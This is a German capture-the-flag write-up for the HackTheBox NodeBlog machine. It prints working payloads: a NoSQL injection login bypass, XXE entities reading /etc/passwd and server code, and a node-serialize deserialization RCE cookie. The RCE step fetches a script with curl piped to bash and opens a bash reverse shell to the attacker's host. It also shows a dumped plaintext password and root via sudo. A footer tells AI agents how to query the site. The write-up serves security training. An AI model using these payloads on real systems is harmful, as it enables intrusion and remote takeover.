> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md).

# NodeBlog HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/NodeBlog>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* NoSQL-Injection (Authentifizierungsumgehung)
* XXE-Dateilesen
* NodeJS-Deserialisierungsangriff (Missbrauch von IIFE)
* Aufzählung der Mongo-Datenbank
  {% endhint %}

## Aufklärung

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/a4dbec2db57c9459aabe1cb9278707f67e8c09c9" alt=""><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139
```

<figure><img src="/files/9767ec66b7c46af5891ccb18e2f351ffa89f24e1" alt=""><figcaption></figcaption></figure>

Port-Versionsscan mit Nmap 22.5000

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,5000 10.10.11.139 -oN targeted
```

<figure><img src="/files/914938306b269480e48e4e719f02dc1a687e8cab" alt=""><figcaption></figcaption></figure>

### Port-5000-Analyse - NodeJS-Anwendung

<figure><img src="/files/958c432d9e0f9124f75ccc3913c1d7c6c238100d" alt=""><figcaption></figcaption></figure>

* Es wird ein Administrationspanel entdeckt.
* Das `admin` Benutzer ist gültig.

<figure><img src="/files/1c5c6b027e759ff2132faeb4e0edee57f8d7614d" alt=""><figcaption></figcaption></figure>

## NoSQL-Injektionsschwachstelle (Authentifizierungsumgehung)

Abfangen der Anfrage mit Burp Suite.

<figure><img src="/files/36ac415fd443d4e0ad22aba6b3040fd90922bfc8" alt=""><figcaption></figcaption></figure>

Klassische Injection-Payloads testen:

```bash
username=admin&password[$ne]=toto
```

Das funktioniert nicht.

In JSON umwandeln und die `Content-Type` zu `application/json`:

```sql
{
  "user": "admin",
  "password": { "$ne": null }
}
```

Ergebnis: Authentifizierung erfolgreich!

<figure><img src="/files/00253d7f62bdd022fb2c2277a80f47bbaec298a9" alt=""><figcaption></figcaption></figure>

## Ausnutzung der XXE-Injektionsschwachstelle

<figure><img src="/files/9f7ef288153b25daaa0fd23c40e2ad7b8cc8817e" alt=""><figcaption></figcaption></figure>

Hochladen einer TXT-Datei: abgelehnt, nur XML-Dateien werden akzeptiert.

```
Hallo, dies ist ein Test
```

<figure><img src="/files/e88c4e6fab079dc6ebc73c8f5945c7195831faba" alt=""><figcaption></figcaption></figure>

Erforderliches Format:

```xml
<post>
    <title>Beispielbeitrag</title>
    <description>Beispielbeschreibung</description>
    <markdown>Beispiel-Markdown</markdown>
</post>
```

<figure><img src="/files/bb5ec1192898670ccbc5446075710a14d7fb0f7d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eef1eef589ed0f6fe180c9e57e49f3d6bee2bd1d" alt=""><figcaption></figcaption></figure>

Senden einer XML-Datei mit einer externen Entität zum Lesen `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
    <title>Beispielbeitrag</title>
    <description>Beispielbeschreibung</description>
    <markdown>&xxe;</markdown>
</post>
```

Ergebnis: Der Inhalt von `/etc/passwd` werden angezeigt.

<figure><img src="/files/431fb4eb2fe2a1819a498ac70ae123d1956bd85a" alt=""><figcaption></figcaption></figure>

* Entdeckung eines Benutzers `admin`.

<figure><img src="/files/a493ac32546d5afcb1a5efda82dbb37b19ef310c" alt=""><figcaption></figcaption></figure>

Injection zum Lesen von `/opt/blog/server.js` und gespeicherte Anmeldedaten identifizieren.

<figure><img src="/files/7db3d67fd044ba056d4c7dd4e043397adbcc8e67" alt=""><figcaption></figcaption></figure>

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///opt/blog/server.js" >]>
<post>
    <title>Beispielbeitrag</title>
    <description>Beispielbeschreibung</description>
    <markdown>&xxe;</markdown>
</post>
```

<figure><img src="/files/e23079da7b3a5685f2e69a3d8fd3d51c5649f716" alt=""><figcaption></figcaption></figure>

## Ausnutzen der NodeJS-Deserialisierung

* Es wurde eine Funktion entdeckt, die Session-Cookies deserialisiert.

<div data-full-width="true"><figure><img src="/files/e3e45f1fd642410491618394bd21924722193403" alt=""><figcaption></figcaption></figure></div>

Erstellen eines Payloads:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

ICMP-Verkehr abhören mit:

```bash
tcpdump -i tun0 icmp -n
```

* URL-kodieren:

<figure><img src="/files/818f5b4b3fc579fb71978a3c24369ff5a1906be8" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Erstellung einer RCE mittels URL-Kodierung und Injection in Cookies.

<figure><img src="/files/4990d09a46a2a660ba636febf883a1c57f957cc0" alt=""><figcaption></figcaption></figure>

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/7773eac6049758f2f8b0a5585cf85c965b6a4c65" alt=""><figcaption></figcaption></figure>

### RCE - Deserialisierungsschwachstelle (nodejs)

Erstellen eines `index.html` Reverse-Shell-Skripts:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Starten eines HTTP-Servers:

```bash
python3 -m http.server 80
```

Lauschen:

```bash
nc -nlvp 443
```

#### Senden des Payloads :

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

* URL-kodieren:

{% code overflow="wrap" %}

```
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Ergebnis: Shell-Zugriff erhalten.

<figure><img src="/files/5fc8e8f1cda1313467b896f7287a8bd4f0d24442" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="/files/8c82bf4fffd38dd79e84e1a39a70f96ef1762afb" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

### Aufzählung der Mongo-Datenbank

<figure><img src="/files/f823380066f59fa5056c5b6c97b569580caf959c" alt=""><figcaption></figcaption></figure>

Verbindung zur MongoDB-Datenbank (Port 27017 offen):

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="/files/4323d852d88dfca5654d69d364bfcca45369d498" alt="" width="563"><figcaption></figcaption></figure>

* Benutzer: admin
* Passwort : IppsecSaysPleaseSubscribe

<figure><img src="/files/7f48525f00bcdf9f246100ab581a2700db16ba09" alt=""><figcaption></figcaption></figure>

### Sudo (ALL:ALL)

Überprüfen der sudo-Berechtigungen:

```bash
sudo -l
```

Ergebnis: Der Administratorbenutzer kann `sudo su` ohne Passwort ausführen.

<figure><img src="/files/37f408e5506dd71284de450ddd786a7e7c7ce1a3" alt=""><figcaption></figcaption></figure>

Wechsel zu root :

```bash
sudo su
```

<figure><img src="/files/34da4533492cd5d48bed654ac874b1697e337377" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/6c725083cd77bfb8890e91e0689308aec7c5003a" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/084b55b438fc0c7f74a09882ab444aff2c510a22" alt="" width="338"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
